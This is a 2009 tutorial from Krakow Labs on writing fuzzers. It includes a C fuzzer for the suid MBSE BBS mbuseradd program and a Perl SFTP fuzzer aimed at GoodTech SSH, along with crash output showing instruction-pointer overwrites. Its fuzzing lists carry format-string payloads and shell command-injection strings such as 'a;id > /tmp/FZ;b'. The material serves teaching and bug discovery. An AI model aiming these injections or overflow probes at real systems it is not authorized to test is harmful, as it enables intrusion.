Fuzzing for Fun and Profit

    KL0209LIT_fffap.txt
    02.11.2009
    Krakow Labs Literature [www.krakowlabs.com]
    Fuzzing for Fun and Profit
    http://www.krakowlabs.com/res/lit/KL0209LIT_fffap.txt
    rush@KL (Jeremy Brown) [rush@krakowlabs.com]
    KL0209LIT_fffap.txt

                                                        Krakow Labs Literature
                                                     "Fuzzing for Fun and Profit"
                                             rush@KL (Jeremy Brown) [rush@krakowlabs.com]

    ============================================================================================================================

    1)   Introduction
    1.1) Fuzzer Specifications

    2)   Local Fuzzing
    2.1) Information Gathering
    2.2) Writing the Fuzzer (mbsefuzz.c)
    2.3) Fuzzing the Target

    3)   Remote Fuzzing
    3.1) Information Gathering
    3.2) Writing the Fuzzer (sftpfuzz.pl)
    3.3) Fuzzing the Target

    4)   Conclusion
    4.1) Disclaimer

    ============================================================================================================================

    1) Introduction

    Many different resources define fuzzing many different ways. I believe this definition is more suiting than most:

    "Fuzzing is targeting input and delivering data that is handled by a target with the intent of identifying bugs."

    Fuzzing can occur theoretically where ever input is possible.

    There are two kinds of fuzzing: "dumb" and "smart". Dumb fuzzing is fuzzing without regard for any guidelines that may be
    required for input. Smart fuzzing is just the opposite. While dumb fuzzers are easy to write and easy to use, smart fuzzers
    are almost always preferred. Smart fuzzers actually know what how the handle the target's specifications for data. what input
    it can fuzz, and how to fuzz it. When we refer to fuzzers in this literature, the reader should assume we are elaborating on
    smart fuzzers.

    Fuzzing can be done locally or remote. Some examples of local fuzzing is through command line, manipulating file formats, user
    interface input, and more. Remote fuzzing is usually fuzzing protocols, servers, etc.

    The data you use to fuzz with, called the fuzzing oracle, is essential to being successful at fuzzing. The fuzzing oracle
    can be random data, or data that is not random at all but still provides reliable angles to fuzz which have proved successful
    in triggering bugs in the past. This article focuses on the latter technique. Linux is also the host operating system that
    our fuzzing examples will work on best and/or without modification.

    The following table is information on what a fuzzing oracle should at least have to possibly trigger vulnerabilities.

    -------------------------------------------------------------------------------------------------------------------------------
    Buffer Overflows
    The ability to overflow buffers in the stack or heap; often exploitable to execute code unless data is uncontrollably corrupted.

    EXAMPLE: sprintf(buf, "%s", input); [we control 'input']
    -------------------------------------------------------------------------------------------------------------------------------
    Format Strings
    The ability to control a function's format string; often exploitable to execute code unless writing data isn't possible, then
    information disclosure may be achieved.

    EXAMPLE: syslog(priority, input); [we control 'input']
    -------------------------------------------------------------------------------------------------------------------------------
    Integer Overflows
    The ability to overflow an integer; often non-exploitable unless integer can be overflowed to affect size calculation of a buffer
    where we control input.

    EXAMPLE: if(len > 512) { return -1; } memcpy(buf, input, len); [we control 'input' and 'len']
    -------------------------------------------------------------------------------------------------------------------------------
    Out-of-Bounds Breakage
    The ability to exploit unsafe functions; often exploitable to read, write, or execute files unless integrity checks are placed
    in passing functions.

    EXAMPLE: system(input); [we control 'input' and it is not sanitized]
    -------------------------------------------------------------------------------------------------------------------------------

    Too much data, your fuzzer shows characteristics of a stress test. Not enough data and you may miss something. Finding that
    balance shouldn't be a main goal, nor should it be completely defined: there is no line to cross in fuzzing. You either
    fuzz, or you don't, and there is no standard, just structure; find your niche and develop beauty in code and command line.

    Fuzzing includes a lot of testing. You could spend hours and hours modifying and compiling and running the same but slightly
    different code over and over just to get the better results. Planning, preparation, and testing are a part of fuzzing, and
    laboring hours on end for the humble task of perfection, stability, and reproduceability can thankfully be very rewarding.

    Fuzzing is useful because...

    1) Fuzzing can find bugs in firmware/software that aren't open source, therefore restricting classical auditing by the public.
    2) Fuzzing can be a fast and reliable bug finding solution, making source code auditing look so hard and fuzzing seem easy.
    3) Fuzzing can also be used as a stress tester and memory management problem detector. It is, as concepted, a bug finding art.

    ============================================================================================================================

    1.1 Fuzzer Specifications

    Fuzzing is not usually done by hand, so people write fuzzers. There are three key elements each fuzzer should include:

    1) A robust fuzzing oracle
    2) A specific data format to prepare for fuzzing
    3) A way of communicating with the target

    Fuzzers should be semi-automatic or automatic as they fuzz and may provide features to create a quality atmosphere when
    fuzzing. Some fuzzer include debuggers, event notification such as alerts and logging, and sometimes even automatic exploit
    generation. Fuzzing features, in most situations, are only limited to the imagination.

    A typical fuzzer could be outlined something like this (this example is in no particular programming or scripting language):

    (BEGIN FUZZER)

    FUZZORACLE = "A" x 550, "A" x 1100, "A" x 2100, "%n%n%n%n%n", "-1", "32767", "test|id > /tmp/fuzzed|test";

    .....

    OPTIONS = "FILE", "DIRECTORY", "SEND", "STORE", "RENAME";

    .....

    loop(run-through-fuzz-data) { send(option[count], fuzzoracle[count], target); }

    (END FUZZER)

    ============================================================================================================================

    2. Local Fuzzing

    Local fuzzing deals with fuzzing applications locally or hosted on the target system. This can include, but isn't limited to:

    Command Line Fuzzing - Fuzzing applications via the command line and/or environmental variables
    File Format Fuzzing - Fuzzing applications that read files in a specific format or format(s)
    Kernel Fuzzing - Fuzzing core kernel features, kernel modules, and system calls

    As said previously, if a target takes input, it can probably be fuzzed.

    ============================================================================================================================

    2.1 Information Gathering

    As the first step in many technical projects, information gathering is vital. Knowing exactly what input your fuzzing and how
    your target works is very important when writing a fuzzer. Information sources include RFCs, API specifications, other
    technical documentation, sniffing, and reverse engineering.

    For this example of local fuzzing, we will be exploring MBSE BBS (http://www.mbse.eu/mbse/mbsebbs/index.html) which had a
    local buffer overflow in its suid "mbuseradd" program. Writing a fuzzer shouldn't be very hard for this application.

    linux:/home/fuzz/mbsebbs-0.70.0/unix# make install
    install -c -s -o root -g root -m 6711 mbuseradd /opt/mbse/bin
    install -c -s -o root -g root -m 6711 mbpasswd  /opt/mbse/bin
    install -c -s -o root -g root -m 0755 mblogin   /opt/mbse/bin
    linux:/home/fuzz/mbsebbs-0.70.0/unix# exit
    exit
    fuzz@linux:~$

    First, lets see exactly what we can fuzz.

    fuzz@linux:~$ /opt/mbse/bin/mbuseradd

    mbuseradd commandline:

    mbuseradd [gid] [name] [comment] [usersdir]
    fuzz@linux:~$

    Seems we have 4 different arguments we can fuzz. Now lets check out the source and look for any environmental variables
    that it might take as input.

    fuzz@linux:~$ grep getenv audit/mbse*/*/mbuseradd.c
        sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE_ROOT"));
    fuzz@linux:~$

    Alright, we can fuzz MBSE_ROOT too.

    ============================================================================================================================

    2.2 Writing the Fuzzer

    Fuzzers can be written in probably any programming or scripting language but this example will be written in C.

    When writing a fuzzer, keep in mind the principles we discussed earlier in section 1.1.

    [mbsefuzz.c]

    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/wait.h>

    #define MBUSERADD  "/opt/mbse/bin/mbuseradd"
    #define LOGFILE    "mbsefuzz.log"

    #define FZORCTOTAL 20-1
    #define ENVTOTAL   1-1

    #define GID      "1"
    #define NAME     "mbsefuzz"
    #define COMMENT  "fuzzing"
    #define USERSDIR "/tmp"

    void fuzz(char *bin, char *desc, char *src, char *a, char *b, char *c, char *d);

    struct
    {

         char *data;
         char *desc;

    }

    fzorc[] = // fuzzing oracle
    {

         {"", "A x 550"},
         {"", "A x 1100"},
         {"", "A x 2100"},
         {"", "A x 4200"},
         {"", "A x 8400"},

         {"%n%n%n%n%n", "%n x 5"},
         {"%%20n", "%%20n"},
         {"%n%p%s%d%x", "%n%p%s%d%x"},
         {"%.1024d", "%.1024d"},
         {"%.2049d", "%.2049d"},

         {"-1", "-1"},
         {"32767", "32767"},
         {"65535", "65535"},
         {"-2147483647", "-2147483647"},
         {"0xffffffff", "0xffffffff"},

         {"a|id > /tmp/FZ|b", "a|id > /tmp/FZ|b"},
         {"a`id > /tmp/FZ`b", "a`id > /tmp/FZ`b"},
         {"a'id > /tmp/FZ'b", "a'id > /tmp/FZ'b"},
         {"a;id > /tmp/FZ;b", "a;id > /tmp/FZ;b"},
         {"a&&id > /tmp/FZ&&b", "a&&id > /tmp/FZ&&b"},

    };

    struct
    {

         char *data;

    }

    envvar[] = // options example, usually more than one in there
    {

         {"MBSE_ROOT"},

    };

    void fuzz(char *bin, char *desc, char *src, char *a, char *b, char *c, char *d)
    {

    FILE *fd;

    if(fork() == 0)
    {

         execl(bin, bin, a, b, c, d, 0);

    }

    else
    {

    int pid, signal, status;

         pid = wait(&status);

    if(WIFSIGNALED(status))
    {

         signal = WTERMSIG(status);
         printf("***** SIG%d CAUGHT [%s + %s] *****\n", signal, src, desc);

         fd = fopen(LOGFILE, "a+");
         fprintf(fd, "[%s]->SIG%d [%s + %s]\n", bin, signal, src, desc);
         fclose(fd);

    }
    }
    }

    int main()
    {

    char of1[550], of2[1100], of3[2100], of4[4200], of5[8400], *src, source[32];
    int i;

         memset(of5, 'A', sizeof(of5));
         of5[8400] = 0;
         fzorc[4].data = of5;

         memset(of4, 'A', sizeof(of4));
         of4[4200] = 0;
         fzorc[3].data = of4;

         memset(of3, 'A', sizeof(of3));
         of3[2100] = 0;
         fzorc[2].data = of3;

         memset(of2, 'A', sizeof(of2));
         of2[1100] = 0;
         fzorc[1].data = of2;

         memset(of1, 'A', sizeof(of1));
         of1[550] = 0;
         fzorc[0].data = of1;

    src = "CL:  GID";
    for(i = 0; i <= FZORCTOTAL; i++) // loops
    {

         fuzz(MBUSERADD, fzorc[i].desc, src, fzorc[i].data, NAME, COMMENT, USERSDIR);

    }

    src = "CL:  NAME";
    for(i = 0; i <= FZORCTOTAL; i++)
    {

         fuzz(MBUSERADD, fzorc[i].desc, src, GID, fzorc[i].data, COMMENT, USERSDIR);

    }

    src = "CL:  COMMENT";
    for(i = 0; i <= FZORCTOTAL; i++)
    {

         fuzz(MBUSERADD, fzorc[i].desc, src, GID, NAME, fzorc[i].data, USERSDIR);

    }

    src = "CL:  USERSDIR";
    for(i = 0; i <= FZORCTOTAL; i++)
    {

         fuzz(MBUSERADD, fzorc[i].desc, src, GID, NAME, COMMENT, fzorc[i].data);

    }

    src = "ENV: ";
    for(i = 0; i <= ENVTOTAL; i++)
    {

    char *env = envvar[i].data;

         snprintf(source, sizeof(source), "%s%s", src, env);

    for(i = 0; i <= FZORCTOTAL; i++)
    {

         setenv(env, fzorc[i].data, 1);
         fuzz(MBUSERADD, fzorc[i].desc, source, GID, NAME, COMMENT, USERSDIR);

    }
    }

         return 0;

    }

    [mbsefuzz.c]

    We now have a simple, local fuzzer with command line and environmental fuzzing capabilities, as well as fault detection.

    ============================================================================================================================

    2.3 Fuzzing the Target

    Since we have written the fuzzer, we can compile and run it against our target.

    Note: Some of the fuzz data is valid for mbse and may add some accounts to your system, clean out /etc/passwd after use.

    fuzz@linux:~$ gcc -o mbsefuzz mbsefuzz.c

    fuzz@linux:~$ ./mbsefuzz
    mbuseradd: Argument 1 is too long
    mbuseradd: Argument 1 is too long
    mbuseradd: Argument 1 is too long
    mbuseradd: Argument 1 is too long
    mbuseradd: Argument 1 is too long
    useradd: unknown group %n%n%n%n%n
    useradd: unknown group %%20n
    useradd: unknown group %n%p%s%d%x
    useradd: unknown group %.1024d
    useradd: unknown group %.2049d
    useradd: unknown group -1
    .....
    useradd: invalid shell `AAAAA...../bin/mbsebbs'
    useradd: invalid shell `AAAAA...../bin/mbsebbs'
    useradd: invalid shell `AAAAA...../bin/mbsebbs'
    ***** SIG11 CAUGHT [ENV: MBSE_ROOT + A x 4200] *****
    ***** SIG11 CAUGHT [ENV: MBSE_ROOT + A x 8400] *****
    useradd: invalid shell `%n%n%n%n%n/bin/mbsebbs'
    useradd: invalid shell `%%20n/bin/mbsebbs'
    useradd: invalid shell `%n%p%s%d%x/bin/mbsebbs'
    useradd: invalid shell `%.1024d/bin/mbsebbs'
    useradd: invalid shell `%.2049d/bin/mbsebbs'
    .....
    useradd: invalid shell `a'id > /tmp/FZ'b/bin/mbsebbs'
    useradd: invalid shell `a;id > /tmp/FZ;b/bin/mbsebbs'
    useradd: invalid shell `a&&id > /tmp/FZ&&b/bin/mbsebbs'
    fuzz@linux:~$

    fuzz@linux:~$ cat mbsefuzz.log
    [/opt/mbse/bin/mbuseradd]->SIG11 [ENV: MBSE_ROOT + A x 4200]
    [/opt/mbse/bin/mbuseradd]->SIG11 [ENV: MBSE_ROOT + A x 8400]
    fuzz@linux:~$

    Looks like we did catch a bug or two. Lets also quickly check /tmp for OBB.

    fuzz@linux:~$ ls /tmp/FZ*
    ls: /tmp/FZ*: No such file or directory
    fuzz@linux:~$

    Nope, no out-of-bounds breakage here. Let us now further explore what we did find.

    fuzz@linux:~$ cat mbsefuzz.log
    [/opt/mbse/bin/mbuseradd]->SIG11 [ENV: MBSE_ROOT + A x 4200]
    [/opt/mbse/bin/mbuseradd]->SIG11 [ENV: MBSE_ROOT + A x 8400] (same bug as previous)
    fuzz@linux:~$

    fuzz@linux:~$ export MBSE_ROOT=`perl -e 'print "A" x 4200'`
    fuzz@linux:~$ /opt/mbse/bin/mbuseradd

    mbuseradd commandline:

    mbuseradd [gid] [name] [comment] [usersdir]
    fuzz@linux:~$ /opt/mbse/bin/mbuseradd a b c d
    Segmentation fault
    fuzz@linux:~$

    fuzz@linux:~$ su
    Password:
    linux:/home/fuzz# gdb /opt/mbse/bin/mbuseradd
    GNU gdb 6.3
    Copyright 2004 Free Software Foundation, Inc.
    GDB is free software, covered by the GNU General Public License, and you are
    welcome to change it and/or distribute copies of it under certain conditions.
    Type "show copying" to see the conditions.
    There is absolutely no warranty for GDB.  Type "show warranty" for details.
    This GDB was configured as "i386-linux"...(no debugging symbols found)
    Using host libthread_db library "/lib/libthread_db.so.1".

    (gdb) r a b c d
    Starting program: /opt/mbse/bin/mbuseradd a b c d
    (no debugging symbols found)
    (no debugging symbols found)
    (no debugging symbols found)
    (no debugging symbols found)
    [Thread debugging using libthread_db enabled]
    [New Thread 16384 (LWP 11571)]
    (no debugging symbols found)
    (no debugging symbols found)

    Program received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 16384 (LWP 11571)]
    0x41414141 in ?? ()
    (gdb) i r
    eax            0x0	0
    ecx            0xbfffd994	-1073751660
    edx            0x0	0
    ebx            0x41414141	1094795585
    esp            0xbfffe9d0	0xbfffe9d0
    ebp            0x41414141	0x41414141
    esi            0x41414141	1094795585
    edi            0x41414141	1094795585
    eip            0x41414141	0x41414141
    eflags         0x10246	66118
    cs             0x23	35
    ss             0x2b	43
    ds             0x2b	43
    es             0x2b	43
    fs             0x0	0
    gs             0x0	0
    (gdb) bt
    #0  0x41414141 in ?? ()
    #1  0x41414141 in ?? ()
    #2  0x41414141 in ?? ()
    #3  0x41414141 in ?? ()
    #4  0x64414141 in ?? ()
    #5  0x6220622f in ?? ()
    #6  0xbfffeb00 in ?? ()
    #7  0x40016ed8 in _r_debug ()
    #8  0xbfffeac4 in ?? ()
    #9  0xbfffea24 in ?? ()
    #10 0x400c630c in ?? () from /lib/libc.so.6
    #11 0x40069270 in ?? ()
    #12 0x40073f7e in __pthread_alt_unlock () from /lib/libpthread.so.0
    Previous frame inner to this frame (corrupt stack?)
    (gdb) q
    The program is running.  Exit anyway? (y or n) y
    linux:/home/fuzz# exit
    exit
    fuzz@linux:~$

    The instruction pointer (EIP) is overwritten along with many other registers with our fuzzing data.

    VULNERABLE CODE:

    [mbsebbs-0.70.0/unix/mbuseradd.c]

        shell   = calloc(PATH_MAX, sizeof(char));

    .....

        sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE_ROOT"));

    [mbsebbs-0.70.0/unix/mbuseradd.c]

    Conclusion: Our target is suid root and contains an exploitable stack-based buffer overflow.

    Our fuzzer was able to detect it for us :)

    GNU/Linux MBSE-BBS 0.70.0 & Below Stack Overflow Exploit
    http://www.milw0rm.com/exploits/3154

    ============================================================================================================================

    3. Remote Fuzzing

    Remote fuzzing deals with fuzzing a target remotely or a the network. This can include, but isn't limited to:

    Network Protocol Fuzzing - Fuzzing applications or even a kernel that implements a specific protocol
    Database Fuzzing - Fuzzing database modules and/or database input sanitation policies
    Web Application Fuzzing - Fuzzing input vectors of web applications hosted on a web server

    ============================================================================================================================

    3.1 Information Gathering

    For this example of remote fuzzing, we will be exploring GoodTech SSH Server (http://www.goodtechsys.com/sshdnt2000.asp)
    which was vulnerable to a remote buffer overflow vulnerability in its SFTP server part. We need to figure out the protocol
    standards and get information on how to communicate with the SSH/SFTP server in order to fuzz it.

    PERL extensions that can be installed through CPAN can be extremely helpful in writing an efficient fuzzer. There is actually
    a PERL extension that will allow us to communicate through SSH2 with SFTP servers making fuzzing a breeze, it is called
    Net::SSH2::SFTP (http://search.cpan.org/~dbrobins/Net-SSH2-0.18/lib/Net/SSH2/SFTP.pm). You will need to install libssh2
    (http://www.libssh2.org/wiki/index.php/Main_Page) first in order for Net::SSH2 to install correctly. After that, you can
    install Net::SSH2 by running "cpan" from your shell (as root, usually) and doing a "install Net::SSH2". After you have
    installed the library and extension, we can use it for our perl-based SFTP fuzzer and it allows us to work with the SSH2
    protocol fairly easily.

    By looking at the documentation for Net::SSH2, it will allow us to fuzz the following parameters (for SFTP):

    open     -> Open or create a file
    opendir  -> Open a directory
    unlink   -> Delete a file
    rename   -> Rename a file or directory
    mkdir    -> Create a directory
    rmdir    -> Delete a directory
    stat     -> Get file attributes
    setstat  -> Set file attributes
    symlink  -> Create a symbolic link
    readlink -> Return the target of a link
    realpath -> Resolve a file's path

    These functions are called by each method provided, and we will fuzz their parameters (being our input), on the SFTP server.

    ============================================================================================================================

    3.2 Writing the Fuzzer

    This example for SFTP fuzzing will be written in PERL and will be using libssh2/Net::SSH2 (this is not the only way to use
    and fuzz SFTP, other libaries and extensions that may be more extensive and/or low-level are available).

    [sftpfuzz.pl]

    #!/usr/bin/perl

    use Net::SSH2;

    @fzorc = ("A" x 550, "A" x 1100, "A" x 2100, "A" x 4200, "A" x 8400, # overflow
              "\%n\%n\%n\%n\%n", "\%\%20n", "\%n\%p\%s\%d\%x", "%.1024d", "%.2049d", # format string
              "-1", "32767", "65535", "-2147483647", "0xffffffff", # numbers
              "a|id > /tmp/FZ|b", "a`id > /tmp/FZ`b", "a'id > /tmp/FZ'b", # out-of-bounds breakage
              "a;id > /tmp/FZ;b", "a&&id > /tmp/FZ&&b");

    @fzdesc = ("A x 550", "A x 1100", "A x 2100", "A x 4200", "A x 8400",
              "\%n\%n\%n\%n\%n", "\%\%20n", "\%n\%p\%s\%d\%x", "%.1024d", "%.2049d",
               "-1", "32767", "65535", "-2147483647", "0xffffffff",
               "a|id > /tmp/FZ|b", "a`id > /tmp/FZ`b", "a'id > /tmp/FZ'b",
               "a;id > /tmp/FZ;b", "a&&id > /tmp/FZ&&b");

    @funcs1 = ("open", "opendir", "unlink", "mkdir", "rmdir", "stat", "setstat", "readlink", "realpath"); # 1 arg
    @funcs2 = ("rename", "symlink"); # 2 args

    $server  = "1.2.3.4";
    $user    = "sftp";
    $pass    = "fuzz";
    $logfile = "sftpfuzz.log";

    $| = 1;

    $ssh2 = Net::SSH2->new();
    $ssh2->connect($server);
    $ssh2->disconnect();

    $i = 0;
    for($z = 0; $z < 9; $z++)
    {

    foreach(@fzorc)
    {

    $func = $funcs1[$z];
    $arg  = 1;
    $fuzz = $_;

         sftpfuzz($func, $fuzz, $arg, $i);

    if($i == 19) { $i = -1; }
         $i++;

    }
    }

    $i = 0;
    for($z = 0; $z < 2; $z++)
    {

    foreach(@fzorc)
    {

    $func = $funcs2[$z];
    $arg  = 2;
    $fuzz = $_;

         sftpfuzz($func, $fuzz, $arg, $i);

    if($i == 19) { $i = -1; }
         $i++;

    }
    }

    sub sftpfuzz
    {

         $func = $_[0];
         $fuzz = $_[1];
         $arg  = $_[2];
         $i    = $_[3];

    $desc = $fzdesc[$i];

    $ssh2 = Net::SSH2->new();
    $ssh2->connect($server) or logit($func, $i);

         print "sftpfuzz fuzzing [sftp + $func + $desc]\n";

    if($ssh2->auth_password($user, $pass))
    {

         $sftp = $ssh2->sftp();

    if($arg == 1)
    {

         $fuzr = $sftp->$func($fuzz);

    }

    if($arg == 2)
    {

         $fuzr = $sftp->$func($fuzz, $fuzz);

    }
    }

    else { die "ERROR: auth_password($user/$pass)\n"; }

         $ssh2->disconnect();

    }

    sub logit
    {

         $fuzz = $_[0];
         $i    = $_[1];

    $desc = $fzdesc[$i-1];

         open(FD, ">>$logfile");
         print FD $server . " -> [sftp + $func + $desc]\n";
         close(FD);

         die "$server down -> check $logfile\n";

    }

    [sftpfuzz.pl]

    Now we have a simple, remote SFTP fuzzer that can somewhat reliably tell us at least if we find any faults in the server.

    ============================================================================================================================

    3.3 Fuzzing the Target

    Work time is over-- play time is upon us. Lets run the fuzzer against our target.

    fuzz@linux:~$ perl sftpfuzz.pl
    sftpfuzz fuzzing [sftp + open + A x 550]
    1.2.3.4 down -> check sftpfuzz.log
    fuzz@linux:~$

    Looks like we've got something...

    fuzz@linux:~$ cat sftpfuzz.log
    1.2.3.4 -> [sftp + open + A x 550]
    fuzz@linux:~$

    The server went down right after we hit "open" with a 550 byte request. Lets now check out the target process on our machine.

    EAX 00000001
    ECX 41414141
    EDX 00890608
    EBX 00000000
    ESP 01448968 ASCII "AAAAA....."
    EBP 41414141
    ESI 0000014F
    EDI 0144E7E0
    EIP 41414141

    The instruction pointer (EIP) and other registers are overwritten with our fuzzing data.

    Conclusion: Our target contains a remotely exploitable stack-based buffer overflow.

    Source code auditing wasn't available here because our target seems to be closed source. Once again, our fuzzer was able
    to detect the vulnerability for us :)

    GoodTech SSH Remote Buffer Overflow Exploit
    http://www.milw0rm.com/exploits/6804

    ============================================================================================================================

    4. Conclusion

    Fuzzing is a developing art. As we progress in computer security, fuzzing will grow stronger as well. Nonpublished code
    will sit on the most remote boxes, possibly thanking fuzzing for leading the way in its R&D. One might guess millions
    will be made from the marketing of fuzzing technologies. Many things will come from the vulnerabilities they discover.

    Fuzzers are code-- code programmed by human beings. They can be as perfect and flawless as we are. The age of fuzzing has
    made its debut some years ago, was silently studied, and reawoken to fuel vulnerability discovery like never before.

    Enjoy the game, fuzz some code.

    ============================================================================================================================

    4.1 Disclaimer

    Krakow Labs assumes no liability for the use or misuse of any or all information contained in this document or information
    available at or referring to this document. Any or all information contained in this document or available at or referring to
    this document is not misleading and all information provided by Krakow Labs in this document is accurate to the best knowledge
    of Krakow Labs. This document can be published and/or reproduced as long as the document's data is left unchanged. Krakow Labs
    may be accessed via krakowlabs.com for more information, personal reference, or other agendas supporting Krakow Labs.

    KL0209LIT_fffap.txt
    02.11.2009
    Krakow Labs Literature [www.krakowlabs.com]
    Fuzzing for Fun and Profit
    http://www.krakowlabs.com/res/lit/KL0209LIT_fffap.txt
    rush@KL (Jeremy Brown) [rush@krakowlabs.com]
    KL0209LIT_fffap.txt

    # milw0rm.com [2009-02-11]